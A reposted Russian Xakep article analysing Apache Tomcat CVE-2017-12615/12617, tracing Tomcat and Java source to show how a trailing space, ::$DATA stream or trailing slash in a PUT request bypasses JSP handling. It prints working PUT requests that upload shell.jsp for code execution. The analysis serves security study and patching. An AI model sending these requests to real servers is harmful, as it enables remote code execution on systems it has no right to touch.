JustPaste.it

Хакер - Скрытая сила пробела. Эксплуатируем критическую уязвимость в Apache Tomcat

nopaywall

https://t.me/nopaywall

В этой статье мы поговорим о баге в Apache Tomcat, популярнейшем веб-сервере для сайтов на Java. Баг позволяет загружать любые файлы на сервер, так что, загрузив файл JSP, можно добиться выполнения произвольного кода. Разберемся, как работает эта уязвимость.
 

Общая информация

Наряду с Apache Struts 2, уязвимость в котором мы разбирали в прошлой статье, под раздачу багов попал и веб-сервер Tomcat. За последнее время было найдено сразу несколько уязвимостей.

19 сентября команда разработчиков в очередной рассылке официально подтвердила наличие и успешный фикс двух уязвимостей, которые получили статус критических. Первая значится под номером CVE-2017-12615. После того как ее запатчили, сразу же нашелся способ обойти заплатку (CVE-2017-12616), и последовал новый фикс. Не поверишь, но вскоре обошли и его — уязвимость носит номер CVE-2017-12617, и ее общий смысл сводится к тому, что неавторизированный пользователь, манипулируя именем файла в PUT-запросе, может создать JSP-файл с произвольным содержимым. Уязвимости подвержены все ветки, начиная с 5.x и заканчивая 9.x.

 

warning-icon.jpg

WARNING

Статья адресована специалистам по безопасности и тем, кто собирается ими стать. Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

 

Стенд

Сначала, как водится, поднимаем тестовый стенд. Я буду использовать версии Tomcat для Windows, так как CVE-2017-12615 и CVE-2017-12616 касаются только их.

Для проверки уязвимостей можно использовать любую из версий — 7.0.81, 8.5.20 или 9.0.0.M26. Все они уязвимы.

Также ты всегда можешь использовать Docker, благо у Apache есть официальный репозиторий, из которого можно поднять любую версию Tomcat одной командой.

docker run -it --rm -p 8888:8080 tomcat:7.0.81

Теперь на порте 8888 у тебя обитает выбранная версия веб-сервера.

После успешного запуска нужно отредактировать конфигурационный файл web.xml и добавить в него вот такие строки.

<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>

Они идут в этот раздел:

<servlet> <servlet-name>default</servlet-name>

Таким образом мы выключаем параметр readonly, что позволяет использовать запросы PUTи DELETE. Но простое включение этой опции, конечно же, не открывает нам возможность записывать и удалять JSP-файлы.

Нельзя просто так взять и загрузить шелл через PUT Нельзя просто так взять и загрузить шелл через PUT
 

Базовые детали уязвимостей

Для обработки запросов к JSP и JSPX скрипты используют класс org.apache.jasper.servlet.JspServlet.

/conf/web.xml
246: <servlet> 247: <servlet-name>jsp</servlet-name> 248: <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>

А за обработку остальных файлов отвечает org.apache.catalina.servlets.DefaultServlet. Именно в нем и реализован метод PUT.

/java/org/apache/catalina/servlets/DefaultServlet.java
539: /** 540: * Process a PUT request for the specified resource. ... 548: @Override 549: protected void doPut(HttpServletRequest req, HttpServletResponse resp) 550: throws ServletException, IOException { 551: 552: if (readOnly) { 553: resp.sendError(HttpServletResponse.SC_FORBIDDEN); 554: return; 555: }

Как видишь, работа этого метода зависит от опции readOnly, которую мы и выключили, так как по умолчанию она установлена в true.

/java/org/apache/catalina/servlets/DefaultServlet.java
162: protected boolean readOnly = true;

Идея эксплоита заключается в том, чтобы заставить PUT-запрос к файлу JSP обрабатываться с помощью DefaultServlet. Это можно провернуть несколькими способами. Чтобы лучше вникнуть в детали, сначала мы поговорим о методах, которые можно использовать только в версиях для Windows.

Давай запустим Tomcat версии 7.0.79 и выполним такой запрос:

PUT /read.txt%20 HTTP/1.1 Host: tomcat.visualhack:8080 Connection: close Content-Length: 3 any Запрос на создание файла с пробелом в конце имени Запрос на создание файла с пробелом в конце имени

Если ты знаешь про особенности и ограничения в названиях файлов системы Windows, то, увидев пробел в конце пути, сразу же все поймешь. Дело в том, что файлы, создаваемые штатными методами ОС, не могут содержать пробелы в начале или в конце имени — те просто отбрасываются. Но ведь Tomcat написан на Java, скажешь ты. Чтобы все прояснить, посмотрим на ключевые шаги обработки нашего запроса.

Ты уже знаешь, что за его обработку отвечает DefaultServlet. Если файл еще не существует, то выполнение передается методу bind.

/java/org/apache/naming/resources/FileDirContext.java
466: public void bind(String name, Object obj, Attributes attrs) 467: throws NamingException { ... 471: File file = new File(base, name); ... 476: rebind(name, obj, attrs);

Запись данных в файл происходит в FileDirContext.rebind.

/java/org/apache/naming/resources/FileDirContext.java
21: import java.io.File; 22: import java.io.FileInputStream; 23: import java.io.FileOutputStream; ... 500: public void rebind(String name, Object obj, Attributes attrs) ... 506: File file = new File(base, name); ... 533: FileOutputStream os = null; ... 537: os = new FileOutputStream(file); 538: while (true) { 539: len = is.read(buffer); 540: if (len == -1) 541: break; 542: os.write(buffer, 0, len); 543: }

Обрати внимание на класс java.io.FileOutputStream. Он открывает файл для записи. Чтобы посмотреть, что происходит в его недрах, нам придется заглянуть в самое сердце тьмы — в исходники Java.

/java/io/FileOutputStream.java
161: public FileOutputStream(File file) throws FileNotFoundException { 162: this(file, false); 163: } ... 194: public FileOutputStream(File file, boolean append) ... 197: String name = (file != null ? file.getPath() : null); 198: SecurityManager security = System.getSecurityManager(); ... 213: open(name, append);

Метод open объявлен как native и служит оберткой для вызова нативного кода на C++. Для этих целей существует механизм Java Native Interface (JNI).

/java/io/FileOutputStream.java
259: private native void open(String name, boolean append)
/windows/native/java/io/FileOutputStream_md.c
56: JNIEXPORT void JNICALL 57: Java_java_io_FileOutputStream_open(JNIEnv *env, jobject this, 58: jstring path, jboolean append) { 59: fileOpen(env, this, path, fos_fd, 60: O_WRONLY | O_CREAT | (append ? O_APPEND : O_TRUNC)); 61: }

Java Native Interface обращается к методу fileOpen, который, в свою очередь, передает управление winFileHandleOpen.

/windows/native/java/io/io_util_md.c
284: fileOpen(JNIEnv *env, jobject this, jstring path, jfieldID fid, int flags) 285: { 286: FD h = winFileHandleOpen(env, path, flags); 287: if (h >= 0) { 288: SET_FD(this, h, fid); 289: } 290: }

Этот метод в конечном итоге передает управление каноничной функции CreateFileW из WinAPI.

/windows/native/java/io/io_util_md.c
266: h = CreateFileW( 267: pathbuf, /* Wide char path name */ 268: access, /* Read and/or write permission */ 269: sharing, /* File sharing flags */ 270: NULL, /* Security attributes */ 271: disposition, /* creation disposition */ 272: flagsAndAttributes, /* flags and attributes */ 273: NULL);

Из-за такого поведения все системные ограничения на название файла становятся актуальными и для веб-сервера. Таким образом, если мы отправляли запрос на создание файла read.txt (с пробелом в конце), то вместо этого ОС отбрасывает пробелы и создает просто read.txt. Это можно легко проверить, используя, например, такой скрипт на Python.

test.py
1: from ctypes import * 2: filename = 'read.txt ' 3: windll.kernel32.CreateFileW ( 4: filename, 0x10000000, 0x2, 5: None, 1, 0x80, None 6: ) Функция CreateFileW и пробел в конце имени файла Функция CreateFileW и пробел в конце имени файла

Или то же самое на Java.

test.java
1: import java.io.FileOutputStream; 2: public class test { 3: public static void main(String [] args) throws Exception 4: { 5: FileOutputStream io = new FileOutputStream("D:/VisualHack/read.txt "); 6: io.close(); 7: } 8: } Функция CreateFileW и пробел в JVM Функция CreateFileW и пробел в JVM

Если этот фокус провернуть с файлом JSP, результат будет такой же. Веб-сервер парсит URI из запроса и направляет его в обработчик DefaultServer, а не JspServlet, потому что расширение запрашиваемого файла воспринимается как «jsp » (с пробелом). А уже внутри метода, в процессе создания файла, пробел отбрасывается, и мы получаем работающий скрипт.

PUT /shell.jsp%20 HTTP/1.1 Host: tomcat.visualhack:8080 <% out.println(31337+1337); %> Успешное создание JSP-файла через PUT Успешное создание JSP-файла через PUT

Абсолютно такая же проблема при обращении к альтернативным потокам данных в NTFS (Alternate Data Streams, ADS).

PUT /shell.jsp::$DATA HTTP/1.1 Host: tomcat.visualhack:8080 <% out.println(31337+1337); %>

В новых версиях такой трюк уже не прокатит. Запустим Tomcat версии 9.0.0.M27 и попробуем отправить наш запрос с пробелом.

Фикс на использование пробелов в конце имени файла Фикс на использование пробелов в конце имени файла

Теперь сервер возвращает ошибку и даже указывает «наличие пробела в конце имени файла» в качестве причины. Поэтому самое время перейти к следующему разделу.

 

Обход фиксов и альтернативная версия эксплоита

Всевозможные пробелы и потоки — это, конечно, интересно, однако хочется чего-то более универсального. Чего-то, что работает независимо от платформы и на последних версиях веб-сервера. И такой вариант есть! Это слеш в конце имени файла.

Но работает этот вектор по другим причинам. Рассмотрим их на примере уже запущенного Tomcat версии 9.0.0.M27. Теперь за обработку файла, отправляемого через PUT-запрос, отвечает отдельный класс — WebResource.

/java/org/apache/catalina/servlets/DefaultServlet.java
550: protected void doPut(HttpServletRequest req, HttpServletResponse resp) ... 560: WebResource resource = resources.getResource(path); ... 578: if (resources.write(path, resourceInputStream, true)) {

Теперь управление переходит к методу write.

/java/org/apache/catalina/webresources/DirResourceSet.java
208: public boolean write(String path, InputStream is, boolean overwrite) { ... 220: File dest = null; ... 223: dest = file(path.substring(webAppMount.length()), false);

Дальше в методе file создается экземпляр класса File, на основе переданного в запросе пути.

/java/org/apache/catalina/webresources/AbstractFileResourceSet.java
54: protected final File file(String name, boolean mustExist) { ... 59: File file = new File(fileBase, name);

И мы снова телепортируемся в исходники Java.

/share/classes/java/io/File.java
358: public File(File parent, String child) { ... 362: if (parent != null) { 363: if (parent.path.equals("")) { 364: this.path = fs.resolve(fs.getDefaultParent(), 365: fs.normalize(child)); 366: } else { 367: this.path = fs.resolve(parent.path, 368: fs.normalize(child)); 369: } 370: } else { 371: this.path = fs.normalize(child);

В процессе инициализации File путь проходит нормализацию. Ее выполняет метод normalize из класса FileSystem.

/java/io/File.java
149: public class File ... 156: private static final FileSystem fs = DefaultFileSystem.getFileSystem();

Он зависит от операционной системы, на которой выполняется. Для Windows это класс WinNTFileSystem, а для UNIX-подобных систем — UnixFileSystem.

/windows/classes/java/io/DefaultFileSystem.java
37: public static FileSystem getFileSystem() { 38: return new WinNTFileSystem(); 39: }
/windows/instrument/FileSystemSupport_md.c
36: #define slash '\\' 37: #define altSlash '/'
/windows/classes/java/io/WinNTFileSystem.java
80: @Override 81: public String normalize(String path) { 82: int n = path.length(); 83: char slash = this.slash; 84: char altSlash = this.altSlash; 85: char prev = 0; 86: for (int i = 0; i < n; i++) { 87: char c = path.charAt(i); 88: if (c == altSlash) 89: return normalize(path, n, (prev == slash) ? i - 1 : i);

На Linux то же самое.

/java/io/UnixFileSystem.java
83: public String normalize(String pathname) { 84: int n = pathname.length(); 85: char prevChar = 0; 86: for (int i = 0; i < n; i++) { 87: char c = pathname.charAt(i); ... 92: if (prevChar == '/') return normalize(pathname, n, n - 1);

Если при парсинге пути попадается символ слеша (/), то он игнорируется, и в обработку уходит уже путь без него. Это можно легко проверить на практике, набросав небольшой тестовый скриптик.

slash.java
import java.io.File; class slash { public static void main(String [] args) throws Exception { File b = new File("D:\\VisualHack\\Tomcat\\"); File f = new File(b, "shell.jsp/"); System.out.println(f.getPath()); } } Игнорирование слеша в конце имени файла Игнорирование слеша в конце имени файла

Теперь, когда мы в курсе происходящих процессов, отправляем запрос.

PUT /shell.jsp/ HTTP/1.1 Host: tomcat.visualhack:8080 <% out.println(31337+1337); %>

Скрипт создан и отлично выполняется. Миссия выполнена! Конечно же, имеется несколько готовых эксплоитов, которые автоматизируют все рутинные действия. Один из них ты найдешь в репозитории cyberheartmi9.

И если тебе интересно взглянуть на фикс, то вот коммит, который исправляет эту уязвимость. 

Выводы

Хоть проблема и вызвана небольшим промахом в реализации проверки пользовательских данных, потенциальный импакт от ее эксплуатации может быть серьезным — вплоть до полной компрометации системы. Так что обновляйся вовремя!

Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall